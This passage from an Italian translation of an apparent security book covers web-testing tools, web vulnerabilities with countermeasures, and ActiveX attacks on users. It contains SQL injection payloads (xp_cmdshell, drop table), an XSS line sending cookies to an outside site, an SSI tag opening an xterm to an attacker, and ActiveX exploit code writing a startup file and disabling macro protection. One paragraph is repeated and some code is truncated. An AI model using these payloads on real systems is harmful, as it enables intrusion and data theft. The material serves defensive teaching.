*Per utilizzare Web Proxy, dovete procurarvi e installare JRE (*Java 2 Runtime Environment*), versione 1.4 o successiva. Attualmente, @Stake offre JRE 1.4.1 con WebProxy 2.0. In alternativa, potete scaricare l'ultima versione di JRE all'indirizzo* `http://java.sun.com`.

Form Scalpel

Form Scalpel è stato studiato per valutare la resistenza di un sito Web agli attacchi a form basati sull'HTML. Questo tool estrae automaticamente i form da una determinata pagina Web e quindi estrae tutti i campi univoci per consentirne la modifica e la manipolazione, semplificando il compito di formulare attacchi dettagliati di validazione dell'input GET e POST contro i form HTML. Form Scalpel supporta connessioni HTTP e HTTPS e funziona sui server proxy. È un'applicazione Win32 che può essere scaricata all'indirizzo `http://www.ugc-labs.co.uk/tools/formscalpel`.
Nella Figura 15.6 vediamo Form Scalpel in azione. In questo semplice esempio, Form Scalpel è stato studiato per valutare la resistenza di un sito Web agli attacchi a form basati sull'HTML. Questo tool estrae automaticamente i form da una determinata pagina Web e quindi estrae tutti i campi univoci per consentirne la modifica e la manipolazione, semplificando il compito di formulare attacchi dettagliati di vali-

dazione dell'input GET e POST contro i form HTML. Form Scalpel supporta connessioni HTTP e HTTPS e funziona sui server proxy. È un'applicazione Win32 che può essere scaricata da `http://www.ugc-labs.co.uk/tools/formscalpel`.

Nella Figura 15.6 vediamo Form Scalpel in azione. In questo semplice esempio, navigando abbiamo raggiunto una pagina Web che utilizza i form e analizzato dettagliatamente ciascun form individuato, utilizzando la scheda *Form Details* di From Scalpel (non mostrata in figura). La scheda *Forms Details* rivela l'esistenza di un singolo form, con quattro possibili input (tre dei quali sono nascosti). L'unico non nascosto si chiama "q". In seguito, sulla scheda *GET/POST Tuner* mostrata nella Figura 15.6, abbiamo inserito il valore "foundstone" in corrispondenza dell'input "q". Grazie a Form Scalpel, che ci ha consentito di estrarre in modo diretto i parametri del form, l'analisi dell'input nei confronti di questo sito è un gioco da ragazzi.

Figura 15.6

Utilizzo di Form Scalpel per testare la validazione dell'input: in questo caso abbiamo impostato manualmente a "foundstone" il valore "q".

NTOMax

NTOMax è un tool a script per test di sollecitazione dei server, scaricabile all'indirizzo `http://www.foundstone.com/knowledge/free_tools.html`. Questo tool accetta come input un file di testo ed esegue un server sottoponendolo a una serie di test basati su tale input. Esso consente di individuare overflow del buffer di punti DOS in un server. Ecco un esempio di file script NTOMax:

```
host:192.168.0.1,22,100,500,4000,250,0,2,true,true,true,false
lc:GET /login.php?* HTTP/1.0
```

Potete poi eseguire questo script contro un server simile, inviando i risultati al file `results.txt` (attenzione, le parentesi angolari sono necessarie!):

```
C:\>ntomax /s < script.txt > results.txt
```

WASAT

WASAT (*Web Authentication Security Analysis Tool*), mostrato nella Figura 15.7, è un efficiente quanto piccolo tool GUI in grado di valutare la sicurezza dei sistemi di autenticazione di base che utilizzano i form. WASAT è in grado di realizzare attacchi a dizionario e a forza bruta con vari gradi di complessità contro un sito Web. Esso può essere scaricato all'indirizzo `http://www.instisec.com/publico/descargas/default.en.asp?id=2`.

Figura 15.7
Opzioni di configurazione dell'autenticazione basata su form di WASAT.

SPIKE

SPIKE è un kit di "fuzzing" di Immunity Security, Inc. Può essere scaricato all'indirizzo `http://www.immunitysec.com/spike.html`. "Fuzzing" è un termine generico utilizzato per indicare l'invio di dati casuali a un'interfaccia (non importa se costituita da un'API di programmazione o un Web form) ed esaminare i risultati individuando eventuali segni di potenziali vulnerabilità. Esso include un tool a forza bru-

ta che agisce sull'autenticazione NTLM dei server Web, in grado di provare circa nove parole al secondo. Per effettuare un attacco a forza bruta su una connessione SSL con SPIKE, dovete utilizzare un proxy SSL quale stunnel (`http://www.stunnel.org/`) o openssl (`http://www.openssl.org/`).

APS NTLM

L'APS (*Authorization Proxy Server*) NTLM è un servizio configurabile in grado di funzionare come proxy del protocollo di autenticazione proprietario NTLM. Esso può essere scaricato all'indirizzo `http://www.geocities.com/rozmanov/ntlm/`. Per eseguirlo, vi occorrerà anche un opportuno ambiente Python. Questo tool può rivelarsi molto utile quando un'applicazione bersaglio utilizza l'autenticazione NTLM per proteggere le pagine. Poiché l'autenticazione NTLM è supportata di default su IIS, la maggior parte delle applicazioni costruite su una piattaforma Microsoft si serve di questo meccanismo di autenticazione.

APS può funzionare come proxy per i tool di scansione citati in "Scanner delle vulnerabilità dei server Web", nella prima parte di questo capitolo.

Vulnerabilità comuni delle applicazioni Web

Che cosa cerca dunque un tipico aggressore quando valuta un'applicazione Web? Di solito i punti deboli sono molti; tuttavia la nostra esperienza pluriennale, maturata attraverso la valutazione di centinaia di applicazioni Web, ci dice che gran parte di essi rientra in alcune categorie, di cui discuteremo in questo paragrafo.

SQL injection

Diffusione:	*9*
Semplicità:	*5*
Impatto:	*8*
Fattore di rischio:	*7*

Gran parte delle applicazioni Web moderne sono state basate su contenuti dinamici allo scopo di renderle altrettanto accattivanti dei tradizionali programmi desktop a finestre. Questa dinamicità viene di solito ottenuta recuperando dati aggiornati estratti da un database. L'SQL è una delle piattaforme più diffuse per gli archivi di dati del Web e molte applicazioni Web si basano interamente su script front-end che si limitano a interrogare un database SQL, situato sul server Web stesso o su un sistema back-end separato. Uno degli attacchi più insidiosi che possono essere sferrati contro applicazioni Web sfrutta il dirottamento delle query utilizzate dagli stessi script front-end per ottenere il controllo dell'applicazione o dei suoi dati. Uno dei meccanismi più efficienti utilizzati per raggiungere questo obiettivo è una tecnica chiamata *SQL injection*.

L'SQL injection consiste nell'inserimento di query Transact SQL grezze in un'applicazione, per compiere un'azione imprevista. Spesso è sufficiente modificare le query esistenti per ottenere gli stessi risultati: Transact SQL può essere facilmente manipolato inserendo anche un singolo carattere in un punto scelto oculatamente, affinché l'intera query si comporti in modo decisamente improprio. Tra i caratteri generalmente utilizzati per questi attacchi di validazione dell'input vi sono il carattere

backtick (`), il doppio trattino (--) e il punto e virgola (;); tutti questi caratteri hanno un significato speciale in Transact SQL.
Che cosa può fare un abile hacker con una query SQL usurpata? Tanto per cominciare, anche un principiante può accedere senza autorizzazione ad alcuni dati. Con tecniche più raffinate, sarà possibile eludere l'autenticazione o addirittura assumere il controllo completo del server Web o di un sistema SQL back-end. Vediamo alcuni esempi.

Esempi di attacchi di tipo SQL injection

Per vedere se l'applicazione è vulnerabile ad attacchi di tipo SQL injection, provate a digitare nei campi del form quanto elencato nella tabella seguente.

Elusione dell'autenticazione	
Autenticazione senza credenziali	Nome utente: `' OR "='` Password: `' OR "='`
Autenticazione con il solo nome utente	Nome utente: `admin'--`
Autenticazione come primo utente nella tabella users	Nome utente: `' or 1=1--`
Autenticazione come utente fittizio	Nome utente: `' union select 1, 'user', 'passwd' 1--`
Effetti distruttivi	
Eliminazione della tabella di un database	Nome utente: `';drop table users--`
Chiusura del database in modalità remota	Nome utente: `aaaaaaaaaaaaaaa'` Password: `'; shutdown--`
Esecuzione di chiamate di funzioni e procedure memorizzate	
Esecuzione di `xp_cmdshell` per ottenere un listato delle directory	`http://localhost/script?0';EXEC+master..xp_cmdshell+'dir';--`
Esecuzione di `xp_servicecontrol` per manipolare i servizi	`http://localhost/a script?0';EXEC+master..xp_servicecontrol+'start',+'server';--`

Non tutti gli esempi di sintassi appena mostrati funzionano su qualsiasi implementazione di database proprietaria. Le informazioni elencate nella tabella seguente indicano se alcune delle tecniche appena descritte funzioneranno o meno su determinate piattaforme di database.

Informazioni specifiche del database

	MySQL	Oracle	DB2	Postgre	MS SQL
UNION possibile	Sì	Sì	Sì	Sì	Sì
Sottoselezioni possibili	No	Sì	Sì	Sì	Sì
Istruzioni multiple	No (generalmente)	No	No	Sì	Sì
Procedure di default memorizzate	–	Molte (utf_file)	–	–	Molte (xp_cmdshell)
Altri commenti	Supporta "INTO OUTFILE"	–	–	–	–

Tool di SQL injection automatizzati

Solitamente, un'SQL injection viene effettuata manualmente; tuttavia sono disponibili alcuni tool che agevolano l'automatizzazione del processo di identificazione e sfruttamento di tali punti deboli. Wpoison, per esempio, è un tool in grado di individuare qualsiasi potenziale vulnerabilità all'SQL injection contenuta nei documenti Web dinamici. Le stringhe di errore SQL sono memorizzate in un file delle impronte ed è facile per chiunque aggiungere la propria impronta per una particolare applicazione Web. Wpoison è un'applicazione Linux, che può essere scaricata all'indirizzo `http://wpoison.sourceforge.net/`.
Ci siamo già occupati di SPIKE Proxy quando abbiamo illustrato i tool di valutazione delle applicazioni Web, ma ora lo citiamo nel contesto di una delle sue funzionalità più interessanti: gli attacchi di tipo SQL injection automatizzati. Le stringhe destinate a essere iniettate sono personalizzabili.
Mieliekoek.pl è un crawler per la verifica di inserimenti SQL che effettua l'analisi di tutti i form su un sito Web alla ricerca di eventuali problemi di inserimento SQL. Questo script accetta come input l'output di un tool di Web mirroring, ispezionando ogni file e stabilendo se c'è un form nel file. La stringa da iniettare può essere facilmente modificata nel file di configurazione. Potete scaricare mieliekoek all'indirizzo `http://packetstormsecurity.nl/UNIX/security/mieliekoek.pl`. Per utilizzare questo scrip è necessario avere un opportuno ambiente Perl installato. Ecco un esempio di output di mieliekoek:

```
$badstring="blah'";
#$badstring="blah' or 1=1 --";
$badstring="blah' exec master..xp_cmdshell 'nslookup a.com 196.30.67.5' -
";
```

Prevenzione degli attacchi SQL injection

Di seguito forniamo un elenco, ampio ma non completo, di metodi utilizzati per prevenire gli attacchi di tipo SQL injection:

- realizzazione di una validazione rigorosa dell'input su qualsiasi input proveniente dal client. È consigliabile attenersi all'insieme di regole di interdizione di default e lasciar passare solo i dati previsti. In tal modo sarà possibile prevenire ogni tipo di attacco di escaping e codifica;
- sostituzione delle istruzioni SQL dirette con procedure memorizzate, istruzioni predisposte o oggetti con comandi ADO;
- implementazione della gestione di default degli errori. Tale implementazione includerà un messaggio di errore generico per tutti gli errori;
- blocco dell'ODBC. Disattivazione dell'invio di messaggi ai client. Blocca il passaggio delle istruzioni SQL straordinarie. Impedisce a qualsiasi client, non solo all'applicazione Web, di eseguire codice SQL arbitrario;
- blocco della configurazione del server del database. Permette di specificare utenti, ruoli e autorizzazioni. Implementa trigger al livello RDBMS. In questo modo, se qualcuno riesce a penetrare il database e acquisire istruzioni SQL arbitrarie da eseguire, non potrà compiere alcuna azione imprevista.

Attacchi CSS (attacchi XSS)

Diffusione:	*9*
Semplicità:	*3*
Impatto:	*5*
Fattore di rischio:	*6*

Un attacco CSS (*Cross Site Scripting*) si verifica quando un utente inserisce dati pericolosi in un sito Web. Per esempio, un utente può inviare a un newsgroup un messaggio contenente un codice dagli effetti nefasti. Quando un altro utente visualizza tale messaggio, il browser interpreta il codice e lo esegue; ciò in teoria può consentire all'aggressore di assumere il controllo completo del sistema. Quindi gli attacchi XSS sono in realtà attacchi contro il client Web. Questo è un aspetto spesso frainteso di tali attacchi, a cui i mass media danno ampio risalto.

Per maggiori informazioni sugli effetti lato client degli XSS, si rimanda al Capitolo 16.

Con questo non intendiamo dire che un attacco XSS eseguito alla perfezione non possa avere effetti devastanti per la comunità degli utenti di una determinata applicazione Web. Gli attacchi XSS possono consentire il dirottamento di account e sessioni, il furto di cookie, l'errato indirizzamento o rappresentazione dei brand aziendali e altre attività in grado di arrecare molto danno alle relazioni pubbliche di un'organizzazione.

Esempi di attacchi XSS

Sono disponibili diversi metodi per verificare la presenza di una possibile vulnerabilità agli attacchi XSS. Essi sono elencati nella tabella seguente:

Verificare se c'è un attacco XSS	attackshttp://localhost/tanda.asp?chits=<script>alert('Test')<script>
Evidenziare i cookie correnti dell'utente	http://localhost/tanda.asp?chits=<script>alert(document.cookie)<script>
Spedire via posta i cookie a una particolare destinazione quando l'utente fa clic sul link	http://localhost/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document .cookie </script>

Prevenzione degli attacchi CSS

Per prevenire gli attacchi CSS, consigliamo di utilizzare gli approcci seguenti:

- codifica dell'output sulla base dei parametri di input;
- filtraggio dei parametri di input in base a caratteri speciali;
- filtraggio dell'output in base ai parametri di input per caratteri speciali;
- ricerca di eventuali vulnerabilità XSS nelle proprie applicazioni, effettuata digitando < e > in ogni possibile input.

Utilizzo scorretto dei tag nascosti

Diffusione:	*5*
Semplicità:	*6*
Impatto:	*6*
Fattore di rischio:	*6*

Le società che fanno affari su Internet sono ormai numerose: la possibilità di vendere prodotti e servizi attraverso un semplice browser Web è importante, ma una progettazione non corretta del carrello per gli acquisti può consentire all'hacker di contraffare dei valori. Immaginate che un rivenditore di hardware per computer abbia realizzato il proprio sito Web per consentire ai visitatori dalla Rete di effettuare acquisti online. Nella scrittura del codice è stato commesso un errore: come unico meccanismo di assegnazione del prezzo agli articoli vengono utilizzati dei tag HTML nascosti. Una volta scoperto questo punto debole, l'hacker è in grado di modificare il prezzo definito nel tag nascosto, riducendo significativamente l'importo originale. Supponiamo che la pagina degli acquisti contenga il seguente codice HTML:

```
<FORM ACTION="http://192.168.51.101/cgi-bin/order.pl" method="post">
<input type=hidden name="price" value="199.99">
<input type=hidden name="prd_id" value="X190">
QUANTITY: <input type=text name="quant" size=3 maxlength=3 value=1>
</FORM>
```

In questo caso sarebbe sufficiente una piccola modifica del prezzo, utilizzando Netscape Composer o un qualsiasi editor di testo, per consentire all'hacker di completare l'acquisto per un prezzo pari a 1,99 dollari invece di 199,99 (il prezzo reale):

```
<input type=hidden name="price" value="1.99">
```

Un altro attacco consiste nell'utilizzo del valore della larghezza dei campi. In fase di progettazione, è specificata una particolare dimensione, ma l'hacker può modificare il valore, aumentandolo per esempio a 70.000, e inviando una stringa di caratteri di grandi dimensioni che potrebbe mandare in crash il server o generare risultati imprevisti.

Contromisura per i tag nascosti

Per impedire lo sfruttamento dei tag HTML nascosti, evitate il loro utilizzo per memorizzare informazioni come il prezzo e verificate il valore prima di elaborarlo.

SSI (Server Side Include)

Diffusione:	*4*
Semplicità:	*4*
Impatto:	*9*
Fattore di rischio:	*6*

Gli SSI costituiscono un meccanismo per realizzare funzionalità interattive in tempo reale, senza bisogno di programmare. Gli sviluppatori Web li usano spesso per stabilire la data/ora di sistema, o per eseguire comandi in locale e stabilire il flusso

del programma in base al risultato. Gli SSI offrono una serie di funzionalità (dette *tag*), tra cui echo, include, fsize, flastmod, exec, config, odbc, email, if, goto, label e break. I tre tag più utili agli hacker sono include, exec e email.
L'attacco consiste nell'inserimento di codice SSI in un campo valutato come documento HTML dal server, consentendo all'hacker di eseguire comandi in locale e ottenere l'accesso al server. Se si inserisce il codice SSI nel campo nome o cognome durante la creazione di un nuovo account, il server Web potrebbe valutare l'espressione e cercare di eseguirla. Il seguente tag SSI consente di aprire una sessione xterm verso la macchina dell'hacker:

```
<!--#exec cmd="/usr/X11R6/bin/xterm -display attacker:0 &"-->
```

Contromisura per SSI

Utilizzate uno script per pre-interpretare i file HTML ricevuti ed eliminare eventuali istruzioni SSI non autorizzate, prima di passarli al server.

Accodamento nei file

Diffusione:	*4*
Semplicità:	*6*
Impatto:	*5*
Fattore di rischio:	*5*

Qualsiasi funzionalità Web che consenta a un utente di inserire direttamente informazioni in un file, può tradursi in un punto debole. Per esempio, se il vostro sito Web prevede un modulo di commenti che raccoglie le indicazioni degli utenti per il miglioramento del sito, e permettete agli utenti stessi di visualizzare tale file, un hacker potrebbe approfittarne: l'hacker, infatti, inviando codice SSI (come visto precedentemente) per eseguire il codice in locale, oppure codice JavaScript, che richiede agli altri utenti il nome utente e la password, potrebbe riportarli nel file dei commenti per sfruttarli in un secondo tempo.

Contromisura all'accodamento nei file

Limitate il ricorso all'accodamento su file come mezzo interattivo di condivisione delle informazioni, perché ci sono molti modi in cui può essere sfruttato da un hacker, ai danni degli utenti o del server.

Capitolo 16

Hacking dell'utente di Internet

In questo libro abbiamo dedicato molto tempo a parlare delle tecniche più diffuse per entrare in sistemi di proprietà di società commerciali e gestiti da amministratori esperti, perché in fondo è lì che gli hacker possono trovare informazioni preziose. Cosa potrebbero sperare di ottenere gli hacker con la violazione del computer di una famiglia media?

*In realtà gli utenti domestici sono solo una parte del quadro. Tutti utilizzano i pro-*dotti che in questo capitolo vengono indicati come possibili bersagli di attacchi, per esempio browser Web, programmi per la lettura della posta elettronica e tutti i generi di software client per Internet: tutti pertanto sono vittime potenziali e le informazioni sui loro sistemi potrebbero avere la stessa importanza e riservatezza dei dati presenti su un server Web, se non maggiore in qualche caso. Il fatto che a questo pericolo siano esposti moltissimi utenti rende la sua prevenzione e risoluzione ancora più difficile, rispetto a quanto non lo sarebbe se coinvolgesse i soli server.

Gli strumenti e le tecniche delineati in questo capitolo interessano non solo gli individui, ma possono anche avere un impatto devastante sulle organizzazioni per cui essi lavorano: se pensate che tutti, dall'amministratore delegato al fattorino delle spedizioni, utilizzano un browser Web per svolgere quasi il 90% delle proprie attività quotidiane (e precisamente lettura della posta elettronica e navigazione Web), *potete capire chiaramente che questo è un problema serio sia per gli utenti azienda-*li sia per il comune utente che si serve della Rete per svago o per fare qualche acquisto di tanto in tanto. Considerate anche il potenziale imbarazzo a livello di pubbliche relazioni e la possibile responsabilità a valle di un'azienda che abbia favorito la diffusione di codice contenente virus, come un worm, per non aver preso le misure di protezione appropriate. Preoccupati?

Se è lecito trarre qualche indicazione dall'incredibile numero di segnalazioni di problemi di sicurezza riguardanti il software client per Internet rilevate fino al 2000, l'hacking dell'utente Internet è una pratica sempre più in voga in quel mondo sotterraneo popolato dagli hacker e dagli aspiranti tali. L'hacking del client richiede soltanto una *forma mentis* leggermente diversa da quella necessaria per cercare di compromettere server Internet importanti come `www.amazon.com`. La differenza riguarda il grado di sforzo e le proporzioni dell'obiettivo preso di mira: invece di concentrare un intenso sforzo intellettuale contro un unico bersaglio o una specifica applicazione per server Web, la pratica dell'hacking degli utenti cerca di trovare un denominatore comune tra un'ampia gamma di vittime potenziali, che tipicamente è rappresentato da una combinazione di utilizzo frequente di Internet con l'incredibile diffusione dei

prodotti software di Microsoft, e la mancanza di buonsenso in materia di sicurezza che caratterizza gli esseri umani che si servono di quel software.
Abbiamo già visto alcuni dei molti modi in cui questi onnipresenti fattori possono essere sfruttati. Il Capitolo 4 ha esaminato gli attacchi ai danni dei sistemi operativi Microsoft più diffusi tra la popolazione di Internet (Win 9x/Me), mentre nei Capitoli 4 e 14 sono stati analizzati i programmi trojan e le backdoor che spesso vengono installati su sistemi di utenti ignari, insieme alla tecnica della persuasione che spesso si rivela molto efficace e riesce con mezzi non tecnici a convincere un utente di un computer a eseguire le azioni malevole concepite dagli hacker. Questo capitolo si fonda in parte su questo lavoro e introduce percorsi completamente nuovi e più insidiosi tramite i quali possono essere installate backdoor, insieme alla descrizione di percorsi più tecnici per lanciare alcuni degli attacchi sociali più subliminali (la riga dell'oggetto di un messaggio di posta elettronica).
Prima di cominciare, dobbiamo avvertire i deboli di cuore che mostreremo qualcosa che è incredibilmente pericoloso se utilizzato in modo imprudente.
Poiché indubbiamente saremo criticati per la scelta di spiegare in modo dettagliato le modalità con cui questi attacchi vengono effettivamente implementati, desideriamo rispondere, come abbiamo fatto in tutto il libro, che solo comprendendo le tecniche utilizzate dal nemico nei minimi dettagli potremo proteggere le vittime potenziali. Il lavoro che ha prodotto queste pagine è stato molto utile per aprire gli occhi su una realtà davvero sconvolgente: andando avanti con la lettura imparerete a proteggere, per quanto vi compete, Internet.

Codice mobile nocivo

Il codice mobile è stato importante per la trasformazione di Internet da mezzo di comunicazione statico, legato a documenti scritti, a immagine della grande comunità attuale dove il contenuto è dinamico e viene generato spontaneamente in base alle esigenze e alle richieste dei singoli utenti. Una parte dell'evoluzione delle attuali tecnologie di applicazione del codice mobile dimostra comunque che questo sarà il modello dominante che caratterizzerà l'utilizzo del computer nel futuro. Tuttavia le tendenze attuali si sono allontanate dai modelli di esecuzione sul lato client per andare verso il codice HTML dinamico (DHTML), i fogli stile e le funzionalità di esecuzione script sul lato server (alcuni potrebbero obiettare che l'esecuzione continua ad avvenire sul lato client anche se si sta spostando a un livello più profondo del browser Web). In ogni caso il codice mobile, che nel corso della sua esistenza attraversa la rete e viene eseguito su un computer di destinazione, rimane una parte fondamentale del tessuto della rete (si veda `http://www.computer.org/internet/v2n6/w6gei.htm`). I due modelli dominanti di codice mobile, il linguaggio Java di Sun e i controlli ActiveX di Microsoft, caratterizzeranno il funzionamento di tutti i browser per molto tempo e pertanto hanno un'importanza fondamentale per qualunque analisi della sicurezza dei client Internet.

Per informazioni sulle Framework .NET di Microsoft, un nuovo paradigma di codice mobile sul quale la società costruirà i suoi prodotti software di nuova generazione, si veda il Capitolo 5.

Anche se è inevitabile che vengano fatti paragoni tra ActiveX e Java, in questa sede non entreremo nel dibattito, limitandoci a segnalare con atteggiamento neutrale le effettive vulnerabilità scoperte in entrambi i sistemi. Per trovare una seria analisi tecnica

dei due modelli di codice mobile dal punto di vista della sicurezza, consultate il documento "A Comparison between Java and ActiveX Security" di David Hopwood all'indirizzo `http://www.users.zetnet.co.uk/hopwood/papers/compsec97.html`.

Microsoft ActiveX

Microsoft ha battezzato ActiveX la sua prima incursione nel campo del codice mobile. ActiveX viene spesso semplicemente descritto come un restyling per il Web della ben nota tecnologia OLE (*Object Linking and Embedding*) per la realizzazione di documenti composti, anche se in realtà si tratta di una eccessiva semplificazione, se si considera l'insieme di API specifiche e paradigmi di sviluppo ambiziosi come la tecnologia COM, e quindi non rende la necessaria giustizia a questa tecnologia; tuttavia è il modo più diretto per rendere l'idea. Le applicazioni ActiveX, note soprattutto con il termine di "controlli", possono essere scritte per svolgere funzioni specifiche (come la visualizzazione di un filmato o di un file audio) e possono essere incorporate in una pagina Web per offrire questa funzionalità, proprio come la tecnologia OLE permette l'incorporamento di fogli di calcolo Excel nei documenti Word. I controlli ActiveX sono tipicamente file con estensione .ocx (i controlli ActiveX scritti in Java sono un'eccezione) che vengono incorporati nelle pagine Web con il tag `<OBJECT>`, che specifica da dove viene scaricato il controllo. Quando Internet Explorer si imbatte in una pagina Web che contiene un controllo ActiveX incorporato (o più controlli), per prima cosa esamina il Registro di sistema del sistema locale dell'utente per scoprire se quel determinato componente è disponibile sul computer: se lo è, visualizza la pagina Web, carica il controllo nello spazio di indirizzamento della memoria del browser ed esegue il codice; se invece il controllo non è già installato nel computer dell'utente, lo scarica e lo installa in base alle istruzioni specificate nel tag `<OBJECT>`. A questo punto, volendo, può anche verificare l'autore del codice ricorrendo alla funzione Authenticode (descritta tra breve) e poi eseguire il controllo. Di default i controlli vengono scaricati in una cache di controllo ActiveX situata nella directory *\windows\occache*.
Se ci si limita ad agire nell'ambito del modello descritto finora, i programmatori mossi da cattive intenzioni potrebbero scrivere controlli ActiveX in grado di fare praticamente tutto ciò che vogliono sulla macchina di un utente. Non c'è proprio nulla in grado di ostacolare questo meccanismo? Sì, il paradigma Authenticode di Microsoft, che permette agli sviluppatori di "firmare" il loro codice ricorrendo a meccanismi crittografici che possono essere autenticati da Internet Explorer e da una terza parte (generalmente Verisign Corporation) prima della loro esecuzione.
Come funziona Authenticode nella realtà? Nel 1996 un programmatore di nome Fred McLain realizzò un controllo ActiveX che arrestava il sistema dell'utente in modo pulito nel caso in cui su quest'ultimo fosse in esecuzione Windows 95 con la gestione avanzata del risparmio energetico. Egli ottenne una firma Verisign autentica per questo controllo, che pensò di denominare Internet Exploder, e quindi lo pubblicò sul suo sito Web. Dopo una breve discussione sui meriti di questa dimostrazione pubblica del modello di sicurezza Authenticode in azione, Microsoft e Verisign revocarono il certificato concesso al software di McLain, sostenendo che vi era stata una violazione del vincolo su cui era basato. Exploder continua a funzionare, ma ora informa i navigatori che non è stato registrato e offre loro l'opzione di annullare il download.
Lasciamo che siate voi lettori a giudicare se il sistema Authenticode ha funzionato o meno in questo caso, tuttavia ricordatevi che McLain avrebbe potuto provocare

danni ben peggiori dell'arresto di un computer e avrebbe anche potuto causarli in modo molto più furtivo. Oggi la tecnologia ActiveX continua a fornire la funzionalità essenziale di molti siti Web che presentano caratteristiche di interattività, anche se nel tempo sono divenuti evidenti alcuni problemi aggiuntivi. I più gravi verranno analizzati nei prossimi paragrafi.

Il problema del flag "safe for scripting" dei controlli ActiveX

Diffusione:	*9*
Semplicità:	*5*
Impatto:	*10*
Fattore di rischio:	*8*

Nell'estate del 1999, Georgi Guninski, Richard M. Smith e altri resero noti separatamente due diversi esempi della vulnerabilità nella gestione da parte di Internet Explorer dei controlli ActiveX contenenti il flag "safe for scripting": con l'attivazione di questo flag nei loro controlli, gli sviluppatori possono aggirare completamente la normale procedura di controllo della firma da parte di Authenticode. Scriptlet.typelib e Eyedog.OCX sono due esempi di controlli di questo genere: forniti con Internet Explorer 4 e versioni precedenti, contenevano questo flag e pertanto non davano alcun tipo di avvertimento all'utente quando venivano eseguiti dal browser.
Quando i controlli ActiveX svolgono funzioni innocue, non devono suscitare eccessiva preoccupazione; tuttavia Scriptlet ed Eyedog hanno entrambi la capacità di accedere al file system dell'utente: Scriptlet.typlib può creare, modificare e sovrascrivere file sul disco locale, mentre Eyedog è in grado di interrogare il Registro di sistema e raccogliere informazioni sul computer.
Georgi Guninski ha rilasciato un codice ben congegnato per il controllo Scriptlet che scrive un file di testo eseguibile con estensione .HTA (HTML Application) nella cartella *Esecuzione automatica* di un computer remoto. Questo file verrà eseguito al successivo riavvio del computer e visualizzerà un innocuo messaggio di Georgi, mettendo in luce un fattore di grande importanza: è sufficiente che visitiate la pagina che Georgi ha dedicato al suo codice all'indirizzo `http://www.guninski.com` per permettergli di eseguire il codice arbitrario sul vostro sistema. Ecco il codice in questione:

```
<object id"scr"
   classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\guninski.hta";
scr.Doc="<object id'wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B'></object><SCRIPT>alert('Written by Georgi Guninski
http://www.guninski.com/~joro');wsh.Run('c:\\command.com');</"+"SCRIPT>";
scr.write();
</SCRIPT>
</object>
```

Questa esposizione delle interfacce software all'accesso programmatico venne definita "funzionalità trojan involontaria" da parte di Richard M. Smith. I controlli Ac-

tiveX come Eyedog e Scriptlet risiedono tranquilli e inoffensivi sui dischi fissi di milioni di utenti, preinstallati da software diffusissimi come Internet Explorer, in attesa che qualcuno acceda a essi da una postazione remota (`http://www.cnn.com/TECH/computing/9909/06/activex.idg/`).

Le dimensioni di questo pericolo sono allarmanti: i controlli ActiveX registrati possono essere contrassegnati come "safe for scripting" sia implementando `IObjectSafety` all'interno del controllo sia contrassegnandoli come sicuri nel Registro di sistema, aggiungendo la chiave `7DD95801-9882-11CF-9FA9-00AA006C42C4` alle Implemented Categories del controllo (fate riferimento all'indirizzo `http://msdn.microsoft.com/workshop/components/activex/safety.asp`). La ricerca nel Registro di sistema di un normale sistema Windows permette di individuare moltissimi controlli di questo tipo. Sarebbe sufficiente utilizzarne uno che abbia anche la capacità di eseguire operazioni privilegiate (come la scrittura su disco e l'esecuzione di codice) per mettere in atto un attacco.

Esistono alcuni modi per avere un'idea della quantità di applicazioni di questo tipo utilizzate attivamente da un sistema: se desiderate semplicemente vedere le applicazioni COM (compresi i controlli ActiveX) installate nel sistema, fate clic sul pulsante *Start*, selezionate *Esegui* e digitate `dcomcnfg`. Il risultato è visibile nella figura seguente.

Per vedere effettivamente se qualcuna di esse è contrassegnata come sicura nel Registro di sistema, potete utilizzare `oleview`, presente nel Resource Kit di Windows NT (una versione più recente è inclusa nell'ambiente di sviluppo Visual Studio di Microsoft), che sfoglia tutti gli oggetti COM/ActiveX registrati come presenti nel sistema, visualizzando anche il CLSID (*Class ID*) con il quale sono chiamati nel Regi-

stro di sistema e molti altri parametri importanti, comprese le Implemented Categories. La figura seguente mostra i risultati di `oleview`.

`oleview` visualizzerà anche le interfacce esportate da un oggetto, indicando se l'oggetto è un potenziale obiettivo di intercettazione per chi desideri eseguire operazioni privilegiate.

Un altro controllo di questo tipo è stato scoperto poco più di un anno fa da DilDog del gruppo Cult of the Dead Cow (quelli di Back Orifice, per intendersi, descritto nel Capitolo 4). Il cosiddetto controllo OUA (*Office 2000 UA*) viene registrato in un sistema al momento dell'installazione della suite di strumenti di produttività Microsoft Office. La pagina Web di DilDog, `http://www.atstake.com/research/advisories/2000/ouahack/index.html`, avvia un'istanza remota di OUA sul sistema dell'utente e poi la utilizza per disabilitare la protezione contro le macro per i documenti Office senza avvisare l'utente; la pagina di DilDog a questo punto scarica un file denominato `evil.doc`, che contiene una semplice macro che crea il file `C:\dildog-was-here.txt`. L'installazione remota di OUA avviene utilizzando il seguente codice incorporato nella pagina Web di DilDog:

```
var ua;

function setup()
{
      // Crea il controllo ua
      ua = new ActiveXObject("OUACtrl.OUACtrl.1");

      // Acollega l'oggetto ua all'oggetto ppt
      ua.WndClass="OpusApp";
      ua.OfficeApp=0;

      // Verifica che l'oggetto ua veda l'applicazione Office
      return ua.IsAppRunning();
}
```

```
function disablemacroprotection()
{
     var ret;

     // Attiva l'applicazione
     ua.AppActivate();

     // Visualizza la finestra di dialogo di avviso per le macro
     ua.ShowDialog(0x0E2B);

     // Fa clic sul pulsante 'basso'
     ua.SelectTabSDM(0x13);

     // Fa clic sul pulsante 'ok'
     ua.SelectTabSDM(1);
}

function enablemacroprotection()
{
     // Attiva l'applicazione
     ua.AppActivate();

     // Visualizza la finestra di dialogo di avviso per le macro
     ua.ShowDialog(0x0E2B);

     // Fa clic sul pulsante 'medio'
     ua.SelectTabSDM(0x12);

     // Fa clic sul pulsante'ok'
     ua.SelectTabSDM(1);
}
// Inizio dell'esecuzione dello script
if(setup()) {
     disablemacroprotection();
     parent.frames["blank"].location="
}
</script>
</body>
</html>
```

I controlli "sicuri" possono anche essere richiamati da messaggi di posta elettronica in formato HTML ed essere presi di mira in modo più efficiente (e pertanto più pericoloso) quando vengono recapitati in questo modo. Prenderemo in esame questi attacchi nel paragrafo dedicato all'hacking della posta elettronica.

